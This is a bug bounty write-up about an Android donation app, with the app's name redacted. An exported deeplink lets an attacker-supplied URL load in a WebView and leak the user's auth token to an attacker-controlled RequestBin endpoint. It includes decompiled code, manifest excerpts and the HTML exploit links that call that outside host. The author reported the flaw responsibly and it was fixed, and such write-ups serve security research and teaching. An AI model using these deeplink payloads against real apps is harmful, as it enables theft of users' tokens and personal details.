How I Leak Other’s Access Token by Exploiting Evil Deeplink Flaw
2023-3-13 17:32:3 Author: infosecwriteups.com(查看原文) 阅读量:19 收藏

Deep linking has become a crucial aspect of modern mobile app development, allowing for seamless navigation within and between apps. However, this seemingly flawless feature of deep linking can become a point of exploitation due to misconfigurations in many Android apps.

In this article, I’m going to talk about deep linking and the bug I found that allowed me to steal another user’s access token. So, let’s just begin.

Have you ever clicked on a link and been taken straight to a specific part of an app? This is called deep linking, and it’s a big part of how many apps work.

Deeplink mechanism (source)

📜 Deeplink & Exported Activity

A deeplink is a type of hyperlink that can take you directly to a specific page or function within an app instead of just opening the app’s homepage. Applications usually set the deeplink route by specifying them in AndroidManifest.xml file like this:

<activity android:name="com.anjay.DeepLinkActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="anjay" android:host="mantapgan"/>
<data android:pathPattern="/gaming"/>
</intent-filter>
</activity>
  • Deeplink can access com.anjay.DeepLinkActivity due to being exported
  • <action android:name="android.intent.action.VIEW"/> specifies the action of the intent, which is to view data.
  • <category android:name="android.intent.category.DEFAULT"/> specifies the default category for the intent.
  • <category android:name="android.intent.category.BROWSABLE"/> specifies that deeplink can access the component by the link on web browser or external application.
  • Deeplink form will be: anjay://mantapgan/gaming

Exported activities (indicated by the <activity android:exported=”true”>attribute) are activities that can be accessed and launched by other apps on the device, and it’s a requirement for deep linking to work properly.

🔍 WebView

Apps often use WebView to show website content inside an application, such as displaying news articles from different sources in one news app. To make it work, URL must be passed into a WebView so they’ll know which webpage or web application to display.

🐛 Where’s the flaw?

The vulnerability I’m about to present is called Loading arbitrary URLs in a WebView, which happened when attacker injects arbitrary URL resulting in the application display the attacker’s website unintendedly. If JavaScript is enabled, then even an XSS attack can happen on the WebView. It means, The impact of this flaw may be vary, depending on the app.

Deeplinks are one of the features that can be the “gate” that allows malicious URLs to be injected into WebView function. In some cases, deeplinks can control WebView through parameters such as url, extra_url, link, redirect, or page which will act as URIs that will be passed into the WebView loader. If we can modify these parameters that we have supplied and there is no validation for the URL, so that WebView is able to access any URL… then congratulations, it’s likely a bug 🎉🎉.

Loading arbitrary URLs in a WebView

🛡️ How to protect?

Validating the URL passed to a WebView is crucial to ensure that the intended website is opened and to prevent potential security risks such as phishing or malware attacks. Therefore, it is recommended that developers perform proper URL validation before loading the URL in the WebView component of their application.

The target is an Donation and Fundraising application from my country. Unfortunately, due to the non-disclosure policy let’s call the application as redacted okay? 😉

Initially, I used jadx-gui to decompile and analyze the APK file. After decompiling the APK, I examined the AndroidManifest.xml file to identify exported activities. There’s one of them that look like this:

<activity android:theme="@style/AppTheme.Transparent" android:name="com.redacted.android.ui.deeplink.DeepLinkActivity" android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="redacted.com"/>
<data android:path=""/>
<data android:path="/"/>
<data android:pathPattern="/mydonation"/>
<data android:pathPattern="/inbox"/>
<data android:pathPattern="/help"/>
<data android:pathPattern="/contact"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="rdct"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="redacted.onelink.me"/>
</intent-filter>
</activity>

Interesting. The one activity that is exported is none other than the deeplink activity itself. I took a note for all the schemes, hosts, and paths that might be useful for later. hen, I went ahead and took a closer look at the com.redacted.android.ui.deeplink.DeepLinkActivity

DeepLinkActivity

public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(((ActivityDeeplinkBinding) this.V.getValue()).getRoot());
Uri data = getIntent().getData();
if (data != null) {
String scheme = data.getScheme();
String host = data.getHost();
List<String> pathSegments = data.getPathSegments();
l.e("pathSegments", pathSegments);
String query = data.getQuery();
String uri = data.toString();
l.e("toString()", uri);
y1().d(new a.b.C0965a(scheme, host, query, uri, pathSegments));
}
}

Alright, so in this activity, our deeplink gets extracted into a set of data. For instance, if we have rdct://redacted.com/inbox?inboxid=12345, then the components will be:

  • scheme: rdct
  • host: redacted.com
  • query: ?inboxid=12345
  • uri: rdct://redacted.com/inbox?inboxid=12345
  • pathSegments: [“inbox”]

After that, the data will be passed into a.b.C0965a()as the function’s parameters. Let’s examine that one.

a.b.C0965a()

public static abstract class b {
public static final class C0965a extends b {
public C0965a(String str, String str2, String str3, String str4, List list) {
this.str = str;
this.str2 = str2;
this.list = list;
this.str4 = str4;
}
}
}

public final void d(b bVar) {
l.f("intent", bVar);
if (bVar instanceof b.C0965a) {
b.C0965a c0965a = (b.C0965a) bVar;
String str = c0965a.str;
String str2 = c0965a.str2;
List<String> list = c0965a.list;
String str4 = c0965a.str4;
boolean z11 = true;
if (l.a(str, "https") && (l.a(str2, "m.redacted.com") || l.a(str2, "www.redacted.com") || l.a(str2, "redacted.com"))) {
if ((!list.isEmpty()) && h.f22766a.contains(list.get(0))) {
e(new AbstractC0963a.C0964a(n.f.a("rdct://urlweb?url=", str4)));
return;
}
lk.a aVar = this.f34788g;
aVar.getClass();
l.f("uriString", str4);
if (aVar.b(w5.f.e(str4)) == null) {
z11 = false;
}
if (!z11) {
e(new AbstractC0963a.C0964a(null));
e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);
return;
}
e(new AbstractC0963a.C0964a(str4));
return;
}
lk.a aVar2 = this.f34788g;
aVar2.getClass();
l.f("uriString", str4);
if (aVar2.b(w5.f.e(str4)) == null) {
z11 = false;
}
if (!z11) {
e(new AbstractC0963a.C0964a(null));
e60.f.h(d.w(this), null, 0, new tu.b(this, str4, null), 3);
return;
}
e(new AbstractC0963a.C0964a(str4));
}
}

package lk;

import java.util.List;
import kb.vd;

/* loaded from: classes2.dex */
public final class h {

/* renamed from: a reason: collision with root package name */
public static final List<String> f22766a = vd.s("career", "careers", "create-campaign", "forgot-password");
}

After examining the code and its function call, here’s what I found:

  • The scheme, host, pathSegments, and URI are passed and become str, str2, list, and str4.
  • There’s a deeplink validation where scheme = “https”; Host = “m.redacted.com” or “www.redacted.com" or “redacted.com”; pathSegments = “career” or “careers” or “create-campaign” or “forgot-password”.
  • If the validation is met, the next deeplink is called: rdct://urlweb?url={uri}
  • “urlweb” host and “url” parameter? Probably webview is used to display the content of the link

Attempt

That got me thinking: instead of trying to bypass the deeplink validation, what if we just directly use the second deeplink? I attached my RequestBin URL to the second deeplink and hosted the exploit on my server.

<html>
<a href="rdct://urlweb?url=https://eob50v516tpfupi.m.pipedream.net">exploit</a>
</html>

Then, I clicked the link through my mobile browser. The app was opened (even without asking for confirmation), but… nothing really happened. It just stayed on the home activity without opening any webview or something. However, when I put https://www.redacted.com in the url parameter, the webview opened. I assumed the validation still worked.

Alternative

Half desperated *lol, i tried to enumerate other things on the app to find something useful. Back to AndroidManifest.xml, I noticed that there’s another activity that have its own webview functionality:

<activity android:theme="@style/AppTheme" android:name="com.redacted.android.subredacted.webview.SubredactedActivity" android:screenOrientation="portrait" android:windowSoftInputMode="adjustResize"/>

This “subredacted” is a program that operates within Company “redacted”, and its main focus is providing charitable insurance products. I dug deeper, code by code, looking for where this “subredacted” is called, and I found a bunch of strings like this:

rdct://subredacted

This means that the “subredacted” is also being used as a host somewhere in the code! Therefore, I replaced the “urlweb” host with subredacted, and the final payload will look like this:

<html>
<a href="rdct://subredacted?url=https://eob50v516tpfupi.m.pipedream.net">exploit1</a>
</html>

Once again, clicking the deeplink immediately opened my redacted app. However, this time, it jumped directly into the subredacted’s webview page. Rather than displaying the subredacted’s page, it displayed the connection result for my request bin instead. Bingo!

requestbin response on the webview

I was already happy to discover that any URL can be opened with the app’s webview, indicating a flaw in the validation process. However, what was even more surprising was when I checked the request bin, an AUTH_TOKEN was there! It was passed in clear text as a GET parameter.

authorization token leaked on requestbin

The auth_token supposedly used by the subredacted API to authorize users from the main app by parsing the value. By changing the url, the request will be sent from victim’s mobile app to that url WITH THEIR TOKEN STILL ATTACHED.

And just like that, I could set up a website that automatically redirects visitors to open the deeplink payload, causing their auth_token to be immediately leaked. I reported this vulnerability to the concerned enterprise via email, and they quickly responded, confirmed the issue, and fixed it.

bounty classification

Authorization token leakage? So… another account takeover?

Unfortunately, the authorization token that leaked from the subredacted API is different from the token used in the main redacted app. I couldn’t identify any subredacted feature that requires the use of an access token, apart from accessing the subredacted page. None of the features are associated with the user’s account on the main redacted page. Therefore, the most significant impact I found was an Open redirect and Sensitive Information Disclosure from user details within the leaked JWT.

details leaked

Thank you for reading this article :)
Stay Curious!

  • Search for exported activity in the AndroidManifest file, perform static analysis on the activity, and attempt to identify any misconfigurations in the code. Pay attention to parameters like url, extra_url, link, redirect, etc. that are connected to WebView
  • Explore other potential options and conduct trial and error experiments to confirm the chosen approach.

24 Jan 2023 : Bug was discovered.

24 Jan 2023 : Bug was reported to company by email

29 Jan 2023 : Bug was fixed on app version 4.54.0

2 Feb 2023 : Bug Status Triaged as Medium Severity

16 Feb 2023 : Bounty paid (IDR xxx.xxx)

Thanks for reading! Check out these awesome references too!


文章来源: https://infosecwriteups.com/how-i-leak-others-access-token-by-exploiting-evil-deeplink-flaw-a0a566677639?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh